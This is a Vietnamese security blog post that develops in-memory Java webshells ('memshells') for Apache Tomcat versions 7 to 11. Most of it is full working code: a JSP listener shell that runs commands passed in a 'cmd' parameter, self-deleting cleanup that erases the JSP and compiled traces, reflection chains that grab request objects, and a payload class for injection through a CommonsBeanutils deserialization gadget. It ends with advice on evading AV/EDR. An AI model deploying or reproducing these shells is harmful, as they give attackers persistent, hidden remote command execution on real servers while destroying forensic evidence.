Level-up Java Memshell - Facing Tomcat Compatibility Problems

The knowledge is endless, don’t just learn it, do it

preface

Trước đây mình đã viết một bài khá basic về 3 loại memshell trên tomcat, đây vẫn chưa phải tất cả các thành phần có thể lợi dụng, còn các loại khác như Valve, Executor, Poller, Http11NioProtocol,… (chưa kể framework như spring hay các webserver servlet khác) nhưng để phân loại theo các cách inject vào memory từ exec code, ta có ba loại:

  • Loại thứ nhất thì khá đơn giản, drop file jsp/jspx vào webroot để được execute. Nếu app chạy springmvc và deploy trên tomcat webroot, cũng có thể drop file inject vào tomcat thay vì qua loại hai.
  • Loại thứ hai ở đây là exploit app có các bug như EL Injection, Deserialization hay JNDI Injection thì có thể tạo expression hay modify lại gadget chain để inject memshell.
  • Và cuối cùng, nếu app không có bug nào, tomcat webroot không write được, nhưng ta lại có access vào server, muốn inject memshell để persistent, có thể execute Java Agent qua CLI để chèn memshell vào process JVM mong muốn.

Tuy nhiên yếu tố tương thích cũng rất quan trọng, do vòng đời một sản phẩm thường trải qua nhiều thay đổi, khi chạy có thể dùng nhiều cấu hình khác nhau. Bài viết này sẽ tập trung tìm hiểu và phát triển memshell tối ưu, tương thích với nhiều version của tomcat (từ 7-11) để có thể tái sử dụng nhiều lần, hạn chế phải test/fix lỗi trước mỗi lần sử dụng cho từng loại được inject. Do bài khá dài, mình chỉ dừng lại ở hai loại đầu, inject memshell qua java agent sẽ có một bài riêng.

JSP type

Mình đã dùng qua 3 loại listener/filter/servlet. Cá nhân mình thấy listener là loại có thể inject đơn giản nhất, ngoài ra các internal method ít bị thay đổi để gây ảnh hưởng trong quá trình inject. Cùng bắt đầu với một memshell listener basic:

<%@page import="java.lang.reflect.Field" %>
<%@page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@page import="org.apache.catalina.core.ApplicationContext" %>
<%@page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>

<%!
    String pwd = "cmd";

    class EventListener implements ServletRequestListener {
        private HttpServletResponse response;
        // custom constructor
        public EventListener(HttpServletResponse response) {
            this.response = response;
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("request Initialized");
            try {
                HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
                if (request.getParameter(pwd) != null) {
                    Process ps = Runtime.getRuntime().exec(request.getParameter(pwd));
                    BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                    ServletOutputStream out = this.response.getOutputStream();

                    String s = null;
                    String output = "";
                    while ((s = br.readLine()) != null) {
                        output += s + "\n";
                    }
                    out.print(output);
                    out.flush();
                    out.close();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    StandardContext getStdCtx(ServletRequest request) {
        try {
            Field appCtxFacadeField = ApplicationContextFacade.class.getDeclaredField("context");
            appCtxFacadeField.setAccessible(true);
            Field appCtxField = ApplicationContext.class.getDeclaredField("context");
            appCtxField.setAccessible(true);
            return (StandardContext) appCtxField.get(appCtxFacadeField.get(request.getServletContext()));
        } catch (Exception e) {}
        return null;
    }
%>

<%
    if (request.getParameter(pwd) != null) {
        StandardContext stdCtx = getStdCtx(request);
        stdCtx.addApplicationEventListener(new EventListener(response));
        response.getWriter().println("done!");
    }
%>

Do trên jsp page có hỗ trợ các Implicit Variables nên dễ dàng có được request, response object (nên nhớ các biến này chỉ là object Facade), từ object này lại dễ dàng lấy được StandardObject thông qua reflection để inject listener, khá ngắn gọn. Mình test trên tomcat 7, 8 chạy đều ổn, mỗi version test nhiều hơn 3 bản release (ex 7.0.1, 7.0.557.0.99 để cover tổng thể)

fix compatibility issues with tomcat > 9.0.90

Trên tomcat 9, từ version 9.0.1 đến 9.0.89 chạy ổn, cho đến 9.0.90 khi sử dụng shell trên sẽ có lỗi:

java.lang.IllegalStateException: The response object has been recycled and is no longer associated with this facade

Sau tìm hiểu, mình nhận thấy nguyên nhân do từ version 9.0.90, attribute RECYCLE_FACADES mặc định được set default là true.Tức các Facade object từ nay mặc định sẽ được recycled khi một request hoàn thành, không thể tái sử dụng từ request này qua request khác như shell trên ta đang dùng nữa (lấy responseFacade từ request inject memshell và gán vào class listener để tái sử dụng nhiều lần)

Bản chất ResponseFacade cũng chỉ là class (mặt nạ) chứa Response class thật, tomcat sử dụng lớp facade này để check luồng, lỗi,.v.v khi xử lý rồi gọi đến Response class để thực hiện tác vụ, do đó, trong shell trên ta có thể sử dụng trực tiếp Response object thay vì ResponseFacade mặc định nữa (cả hai cũng chỉ đang implements HttpServletResponse nên không có xung đột gì đáng kể), fix:

if (request.getParameter(pwd) != null) {
    StandardContext stdCtx = getStdCtx(request);

    Field res1 = response.getClass().getDeclaredField("response");
    res1.setAccessible(true);
    Response res  = (Response)res1.get(response);

    stdCtx.addApplicationEventListener(new EventListener(res));
    response.getWriter().println("done!");
}

Đến đây shell jsp trên chạy tốt ở tomcat 7,8,9 và cả 10, 11.

self-deletion

Trong quá trình compile file .jsp ở webroot, tomcat sẽ generate thêm các file .java.class: jsp_java_class

Các file này nằm trong folder work của tomcat: work_folder

Ta cần xóa các file này trên disk. Mình có tham khảo được bài này về cách lấy absolute path của java/class file được generate từ JspCompilationContext. Tuy nhiên cách này code đang được viết khá dài dòng cũng như không tương thích giữa tomcat 7 với 8/9 do package name MappingData bị thay đổi. Ngoài ra cũng đang không xóa được compiled inner class: innner_class

Well, long story short, it fixed:

<%!
    Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        return f.get(obj);
    }
%>
<%
    // CLEAN UP
    Request req = (Request) getFieldValue(request, "request");
    Wrapper wrapper = (Wrapper) getFieldValue(req.getMappingData(), "wrapper");

    Servlet jspServlet = (Servlet) getFieldValue(wrapper, "instance");
    JspRuntimeContext jspRtCxt = (JspRuntimeContext) getFieldValue(jspServlet, "rctxt");
    ConcurrentHashMap jsps = (ConcurrentHashMap) getFieldValue(jspRtCxt, "jsps");
    JspServletWrapper jsw = (JspServletWrapper) jsps.get(request.getServletPath());
    JspCompilationContext jspCompContext = (JspCompilationContext) getFieldValue(jsw, "ctxt");

    for (Class<?> ic : this.getClass().getDeclaredClasses()) { // inner class
        String innerClsPath = jspCompContext.getClassFileName().replace(".class", "$") + ic.getSimpleName() + ".class";
        new File(innerClsPath).delete();
    }
    new File(jspCompContext.getClassFileName()).delete();// .class
    new File(jspCompContext.getServletJavaFileName()).delete(); // .java
    new File(application.getRealPath(jspCompContext.getJspFile())).delete(); // .jsp
    response.getWriter().println("cleaned up!");
    // END CLEAN UP
%>

vulnerabilities type

obtain request/response object - Tomcat echo 7-9

Khác với JSP type, để chèn memshell qua các lỗ hổng thì không có sẵn các request/response object để có thể lợi dụng, cần lấy được các object này.

Mình có tìm hiểu bài này của tác giả kingkk để có thể lấy được các object trên thông qua ThreadLocal, đây là cách có độ ổn định khá cao.

Đầu tiên đặt breakpoint tại servlet và trace ngược về request khởi tạo thread: InjectServlet_doGet.java

Bước tiếp theo cần tìm nơi có thể lấy được biến request/response trong call stack này, do các biến này thường được được pass dưới dạng parameters, cần tìm nơi mà các biến này được lưu lại trong thread. Các biến này cần phải là biến ThreadLocal mà không phải là global thì mới có thể lấy được thông tin của request thread hiện tại, ngoài ra cần là biến static nếu không ta phải lấy tiếp được instance của class chứa biến tại thời điểm tomcat lưu biến.

Tác giả tìm được tại class org.apache.catalina.core.ApplicationFilterChain có hai field thỏa mãn điều kiện trên:

// class: ApplicationFilterChain 
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

// class: ApplicationDispatcher
static final boolean WRAP_SAME_OBJECT;

Hai field này sẽ lưu lại request/response object khi attribute ApplicationDispatcher.WRAP_SAME_OBJECTtrue:

// class: ApplicationFilterChain 
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
    ServletResponse res;
    // gọi filter tiếp theo nếu vẫn còn
    if (this.pos < this.n) {
        // truncated
    } else { // đã hết filter chain -- gọi servlet instance
        try {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) { // [1]
                lastServicedRequest.set(request);
                lastServicedResponse.set(response);
            }

            this.support.fireInstanceEvent("beforeService", this.servlet, request, response);
            if (request.isAsyncSupported() && !this.support.getWrapper().isAsyncSupported()) {
                request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
            }

            if (request instanceof HttpServletRequest && response instanceof HttpServletResponse) {
                if (Globals.IS_SECURITY_ENABLED) {
                    ServletRequest req = request;
                    res = response;
                    Principal principal = ((HttpServletRequest)req).getUserPrincipal();
                    Object[] args = new Object[]{req, res};
                    SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
                } else {
                    this.servlet.service(request, response);
                }
            } else {
                this.servlet.service(request, response);
            }

            this.support.fireInstanceEvent("afterService", this.servlet, request, response);
        } catch (IOException var19) {
            // truncated
        } finally { // [2]
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set((Object)null);
                lastServicedResponse.set((Object)null);
            }
        }
    }
}
  • [1]: Lưu lại request/response object
  • [2]: tại finally block, khi servlet đã xử lý xong, set lại hai biến này về null

Dù attribute ApplicationDispatcher.WRAP_SAME_OBJECT có giá trị mặc định là false, ta có thể dùng reflection để sửa attribute ở request đầu tiên, các request về sau khi giá trị này đã là true, ta có thể lấy được request/response object được lưu.

Một vài lưu ý trước khi build PoC.

  • Do lastServicedRequest, lastServicedResponse và cả WRAP_SAME_OBJECT có thuộc tính private (hạn chế truy cập) và final (không thể chỉnh sửa), cần dùng reflection để gỡ.
  • ApplicationDispatcher.internalDoFilter() là method nằm ở cuối filter chain để gọi đến servlet do đó nếu lỗ hổng nằm ở filter thì sẽ không dùng được cách này (do chưa reach đến). Lấy ví dụ lỗ hổng Shiro deserialization, phần deser nằm ở filter class.
  • Ngoài ra static block của class ApplicationFilterChain có khởi tạo hai biến lastServicedRequest, lastServicedResponse khi WRAP_SAME_OBJECTtrue, nếu sửa thuộc tính này, cũng cần khởi tạo hai biến trên để tránh lỗi trong luồng thực thi:
// class: ApplicationFilterChain 
static {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest = new ThreadLocal();
        lastServicedResponse = new ThreadLocal();
    } else {
        lastServicedRequest = null;
        lastServicedResponse = null;
    }
    // truncated
}

OK, my PoC:

public class MemEventListener {
    Field getStaticFieldModified(String clsName, String fieldName) throws Exception {
        Field f = Class.forName(clsName).getDeclaredField(fieldName);
        f.setAccessible(true);
        Field modifiersF = Field.class.getDeclaredField("modifiers");
        modifiersF.setAccessible(true); // private
        modifiersF.setInt(f, f.getModifiers() & ~Modifier.FINAL); // final
        return f;
    }

    MemEventListener() {
        try {
            Field sameF = getStaticFieldModified("org.apache.catalina.core.ApplicationDispatcher", "WRAP_SAME_OBJECT");
            Field requestF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedRequest");
            Field responseF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedResponse");
            // sửa thuộc tính
            if ((boolean)sameF.get(null) == false) {
                sameF.setBoolean(null, true);
                requestF.set(null, new  ThreadLocal <>());
                responseF.set(null, new  ThreadLocal <>());
                return;
            }

            ServletRequest request = ((ThreadLocal<ServletRequest>) requestF.get(null)).get();
            ServletResponse response = ((ThreadLocal<ServletResponse>) responseF.get(null)).get();
            response.getWriter().println(request.getParameter("cmd"));
        } catch (Exception e) {}
    }
}

PoC này cần gửi hai request. Request đầu chỉ để sửa thuộc tính, từ request thứ 2 có thể lấy được request/response object.

Đã test và chạy tốt trên tomcat 7, 8, 9, lên tomcat 10, 11 lỗi.

fix compatibility issues with tomcat 10, 11

Khi inject sẽ có lỗi:

java.lang.NoSuchFieldException: WRAP_SAME_OBJECT

Nguyên nhân do từ tomcat 10 và 11, thuộc tính ApplicationDispatcher.WRAP_SAME_OBJECT được chuyển sang ApplicationFilterChain.dispatcherWrapsSameObject, field này cũng không còn phải là static nên nếu muốn sửa đổi sẽ cần instance của ApplicationFilterChain :(

// class: ApplicationFilterChain
private boolean dispatcherWrapsSameObject = false;

Do đó không còn sử dụng được cách này, mình sẽ đi tìm chain mới chỉ riêng cho tomcat 10 và 11. Có thể sử dụng tool Java Object Searcher để tìm trong Thread.currentThread() object Request (có được object này thì lấy ResponseStandardContext không còn là vấn đề).

Để chạy thì khá đơn giản, git clone project về và pack thành file jar với jdk version ứng với jdk chạy tomcat (chỉ cần jdk 8, 17 là đủ). Thêm file jar trên vào folder ext của jdk8 hoặc vào classpath qua argument đối với jdk17 rồi chạy code sau trong app tomcat để search field type tồn tại chữ Request:

// object searcher
// Set the search type to include the Request keyword
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//Create a new breadth-first search for Thread.currentThread()
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setIs_debug(false);
//Digging depth is 20
searcher.setMax_search_depth(20);
//Set the report save location
// searcher.setReport_save_path("results.txt");
searcher.searchObject();
// end object searcher

Output file sẽ nằm ở folder bin của tomcat. Tìm được cùng chain sau trên các version:

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [15] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
       ---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>} 
        ---> [java.nio.channels.SocketChannel[connected local=/127.0.0.1:8080 remote=/127.0.0.1:61064]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper} 
         ---> socket = {org.apache.tomcat.util.net.NioChannel} 
          ---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer} 
            ---> request = {org.apache.coyote.Request} 
             ---> notes = {class [Ljava.lang.Object;} 
              ---> [1] = {org.apache.catalina.connector.Request}

Phần còn lại chỉ là dùng reflection để lấy từng field tương ứng:

Object getFieldValueByObj(Object obj, String fieldName) throws Exception {
    Field f = obj.getClass().getDeclaredField(fieldName);
    f.setAccessible(true);
    return f.get(obj);
}

public void test() {
    String pwd = "cmd";
    try {
        Thread[] threads = (Thread[]) getFieldValueByObj(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread t : threads) {
            Runnable target = null;
            try {
                target = (Runnable) getFieldValueByObj(t, "target");
            } catch (Exception e) {}
            if (target instanceof NioEndpoint.Poller) {
                NioEndpoint nio = (NioEndpoint) getFieldValueByObj(target, "this$0"); // this$0 ~ outer class
                // current open connections, we need to get exact one we make
                for (SocketWrapperBase<NioChannel> n: nio.getConnections()) {
                    Http11InputBuffer h11pIn = (Http11InputBuffer) getFieldValueByObj(n.getSocket(), "appReadBufHandler");
                    org.apache.coyote.Request req = (org.apache.coyote.Request) getFieldValueByObj(h11pIn, "request");
                    Request req1 = (Request) req.getNote(1);
                    if (req1.getParameter(pwd) != null) {
                        req1.getResponse().getWriter().write(req1.getParameter(pwd));
                        break;
                    }
                }
                break;
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

merge PoC, obtain StandardContext and inject memshell

PoC trên chỉ đang là tomcat echo, mục tiêu là inject memshell. Như thường lệ, ta cần lấy được StandardContext, việc này khá đơn giản khi đã có request object, có thể dùng lại method ở phần jsp. Ở đây chỉ cần sửa từ HttpServletRequest sang ServletRequest là được (HttpServletRequest là subclass của ServletRequest) Còn lại, để inject memshell, chỉ cần gọi stdCtx.addApplicationEventListener(new EventListener(response)) như cũ.

Và để shell có thể chạy từ tomcat 7-11, cần nhúng hai PoC lại với nhau (mình dùng try/catch). Nhưng do ở PoC tomcat echo 10, 11, nhiều class mới không tồn tại ở các version cũ hơn nên không thể compile, cần chuyển code về dạng reflection hoặc né các class này ra trong code bằng cách pass argument trực tiếp để né type check:

public class MemEventListener {
    Field getStaticFieldModified(String clsName, String fieldName) throws Exception {
        Field f = Class.forName(clsName).getDeclaredField(fieldName);
        f.setAccessible(true);
        Field modifiersF = Field.class.getDeclaredField("modifiers");
        modifiersF.setAccessible(true);
        modifiersF.setInt(f, f.getModifiers() & ~Modifier.FINAL);
        return f;
    }
    Object getFieldValueByObj(Object obj, String fieldName) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        return f.get(obj);
    }
    // in case method in parent class
    Object invokeMethodByClsName(String clsName, Object obj, String name, Class<?>... params) throws Exception {
        Method m = Class.forName(clsName).getDeclaredMethod(name, params);
        m.setAccessible(true);
        if (params.length > 0) {
            return m.invoke(obj, 1); // just4getNote
        }
        return m.invoke(obj, params);
    }

    StandardContext getStdCtx(ServletRequest request) {
        try {
            Field appCtxFacadeField = ApplicationContextFacade.class.getDeclaredField("context");
            appCtxFacadeField.setAccessible(true);
            Field appCtxField = ApplicationContext.class.getDeclaredField("context");
            appCtxField.setAccessible(true);
            return (StandardContext) appCtxField.get(appCtxFacadeField.get(request.getServletContext()));
        } catch (Exception e) {}
        return null;
    }

    String pwd = "cmd";
    class EventListener implements ServletRequestListener {
        private ServletResponse response;
        public EventListener(ServletResponse response) {
            this.response = response;
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("request Initialized");
            try {
                HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
                if (request.getParameter(pwd) != null) {
                    Process ps = Runtime.getRuntime().exec(request.getParameter(pwd));
                    BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                    ServletOutputStream out = this.response.getOutputStream();

                    String s = null;
                    String output = "";
                    while ((s = br.readLine()) != null) {
                        output += s + "\n";
                    }
                    out.print(output);
                    out.flush();
                    out.close();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    MemEventListener() {
        try {
            ServletRequest request = null;
            ServletResponse response = null;
            Field sameF = null;
            try {
                sameF = getStaticFieldModified("org.apache.catalina.core.ApplicationDispatcher", "WRAP_SAME_OBJECT");
                Field requestF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedRequest");
                Field responseF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedResponse");

                if ((boolean)sameF.get(null) == false) {
                    sameF.setBoolean(null, true);
                    requestF.set(null, new  ThreadLocal <>());
                    responseF.set(null, new  ThreadLocal <>());
                    return;
                }
                request = ((ThreadLocal<ServletRequest>) requestF.get(null)).get();
                ServletResponse tmpResponse = ((ThreadLocal<ServletResponse>) responseF.get(null)).get();
                response = (ServletResponse) getFieldValueByObj(tmpResponse, "response"); // ResponseFacade (fix tomcat 9)
            } catch (Exception e1) { // tomcat 10, 11
                Thread[] threads = (Thread[]) getFieldValueByObj(Thread.currentThread().getThreadGroup(), "threads");
                for (Thread t : threads) {
                    Runnable target = null;
                    try {
                        target = (Runnable) getFieldValueByObj(t, "target");
                    } catch (Exception pass) {}
                    Class pollerCls = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller");
                    if (target != null && target.getClass().getName().equals(pollerCls.getName())) {
                        Set<Object> nio = (Set<Object>) invokeMethodByClsName("org.apache.tomcat.util.net.AbstractEndpoint",
                                getFieldValueByObj(target, "this$0"), "getConnections"); // this$0 ~ outer class
                        // current open connections, we need to get exact one we make
                        for (Object n: nio) {
                            Object req = getFieldValueByObj(getFieldValueByObj(
                                    invokeMethodByClsName("org.apache.tomcat.util.net.SocketWrapperBase", n, "getSocket"),
                                    "appReadBufHandler"), "request");
                            Request tmpReq = (Request) invokeMethodByClsName("org.apache.coyote.Request", req, "getNote", int.class);
                            if (tmpReq.getParameter(pwd) != null) {
                                request = tmpReq;
                                response = tmpReq.getResponse();
                                break;
                            }
                        }
                        break;
                    }
                }
            }

            StandardContext stdCtx = getStdCtx(request);
            stdCtx.addApplicationEventListener(new EventListener(response));
            response.getWriter().write("inject success!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Lưu ý khi build payload cần add thêm thư viện tomcat-catalina ngoài servlet-api:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>${tomcat.version}</version>
    <scope>provided</scope>
</dependency>

inject memshell via deser gadget chain

Phần tiếp theo sẽ nhúng code inject memshell vào payload deser từ sink TemplateImpl làm ví dụ. Mình đã có bài viết khá chi tiết về các chain có sink TemplateImpl tại đây. Bài viết sẽ lấy ví dụ gadget chain CommonsBeanutils:

Class TemplateImpl là bytecode được load:

public class EvilTemplateImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplateImpl() throws Exception {
        super();
        System.out.println("EvilTemplatesImpl executed1");
        Runtime.getRuntime().exec(new String[]{"calc"});
    }
}

Sau chỉnh sửa ListenerTemplatesImpl:

public class ListenerTemplatesImpl extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    Field getStaticFieldModified(String clsName, String fieldName) throws Exception {
        Field f = Class.forName(clsName).getDeclaredField(fieldName);
        f.setAccessible(true);
        Field modifiersF = Field.class.getDeclaredField("modifiers");
        modifiersF.setAccessible(true);
        modifiersF.setInt(f, f.getModifiers() & ~Modifier.FINAL);
        return f;
    }
    Object getFieldValueByObj(Object obj, String fieldName) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        return f.get(obj);
    }
    // in case method in parent class
    Object invokeMethodByClsName(String clsName, Object obj, String name, Class<?>... params) throws Exception {
        Method m = Class.forName(clsName).getDeclaredMethod(name, params);
        m.setAccessible(true);
        if (params.length > 0) {
            return m.invoke(obj, 1); // just4getNote
        }
        return m.invoke(obj, params);
    }

    StandardContext getStdCtx(ServletRequest request) {
        try {
            Field appCtxFacadeField = ApplicationContextFacade.class.getDeclaredField("context");
            appCtxFacadeField.setAccessible(true);
            Field appCtxField = ApplicationContext.class.getDeclaredField("context");
            appCtxField.setAccessible(true);
            return (StandardContext) appCtxField.get(appCtxFacadeField.get(request.getServletContext()));
        } catch (Exception e) {}
        return null;
    }

    String pwd = "cmd";
    private ServletResponse response;
    public ListenerTemplatesImpl(ServletResponse response) {
        this.response = response;
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("[debug] request Initialized");
        try {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            if (request.getParameter(pwd) != null) {
                Process ps = Runtime.getRuntime().exec(request.getParameter(pwd));
                BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                ServletOutputStream out = this.response.getOutputStream();

                String s = null;
                String output = "";
                while ((s = br.readLine()) != null) {
                    output += s + "\n";
                }
                out.print(output);
                out.flush();
                out.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public ListenerTemplatesImpl() throws Exception {
        super();
        System.out.println(1231);
        ServletRequest request = null;
        ServletResponse response = null;
        Field sameF = null;
        try {
            sameF = getStaticFieldModified("org.apache.catalina.core.ApplicationDispatcher", "WRAP_SAME_OBJECT");
            Field requestF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedRequest");
            Field responseF = getStaticFieldModified("org.apache.catalina.core.ApplicationFilterChain", "lastServicedResponse");

            if ((boolean)sameF.get(null) == false) {
                sameF.setBoolean(null, true);
                requestF.set(null, new  ThreadLocal <>());
                responseF.set(null, new  ThreadLocal <>());
                return;
            }
            request = ((ThreadLocal<ServletRequest>) requestF.get(null)).get();
            ServletResponse tmpResponse = ((ThreadLocal<ServletResponse>) responseF.get(null)).get();
            response = (ServletResponse) getFieldValueByObj(tmpResponse, "response"); // ResponseFacade (fix tomcat 9)
        } catch (Exception e1) { // tomcat 10, 11
            Thread[] threads = (Thread[]) getFieldValueByObj(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread t : threads) {
                Runnable target = null;
                try {
                    target = (Runnable) getFieldValueByObj(t, "target");
                } catch (Exception pass) {}
                Class pollerCls = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller");
                if (target != null && target.getClass().getName().equals(pollerCls.getName())) {
                    Set<Object> nio = (Set<Object>) invokeMethodByClsName("org.apache.tomcat.util.net.AbstractEndpoint",
                            getFieldValueByObj(target, "this$0"), "getConnections"); // this$0 ~ outer class
                    // current open connections, we need to get exact one we make
                    for (Object n: nio) {
                        Object req = getFieldValueByObj(getFieldValueByObj(
                                invokeMethodByClsName("org.apache.tomcat.util.net.SocketWrapperBase", n, "getSocket"),
                                "appReadBufHandler"), "request");
                        Request tmpReq = (Request) invokeMethodByClsName("org.apache.coyote.Request", req, "getNote", int.class);
                        if (tmpReq.getParameter(pwd) != null) {
                            request = tmpReq;
                            response = tmpReq.getResponse();
                            break;
                        }
                    }
                    break;
                }
            }
        }
        System.out.println(12311231);
        StandardContext stdCtx = getStdCtx(request);
        stdCtx.addApplicationEventListener(new ListenerTemplatesImpl(response));
        response.getWriter().write("inject success!");
    }
}

add dependencies:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>javax.servlet-api</artifactId>
    <version>4.0.0</version>
<!--<scope>provided</scope>-->
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.55</version>
    <scope>provided</scope>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.3</version>
</dependency>
<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.11.0.GA</version>
</dependency>

Cần exploit deser hai lần (đối với tomcat 7-9), lần một để sửa thuộc tính, lần hai để inject memshell: inject_success ipconfig

weaponize

Memshell giúp webshell hạn chế bị detect và loại bỏ hơn, tuy nhiên dù là shell gì thì khi spawn process bash/cmd mới, các AV/EDR ngày nay vẫn có khả năng phát hiện, do đó, nếu memshell chỉ chạy trong tiến trình JVM hiện có, gọi các method bình thường thì rất khó để phát hiện.

Trừ khi phải leo quyền để post exploit và pivoting trong mạng internal, việc chạy command là không cần thiết. Các tác vụ như tunneling, file browsing, upload/download file thiết yếu có thể dễ dàng thực hiện trong code java và nhúng vào memshell. Ở bài viết này mình sẽ chưa đề cập, người đọc có thể tự tìm hiểu thêm.

after word

Well, not easy as it look :(, công test khá tốn sức, các bài viết sau có thể về inject memshell qua java agent, các cơ chế defense/bypass defense, custom shell (có thể :))

refs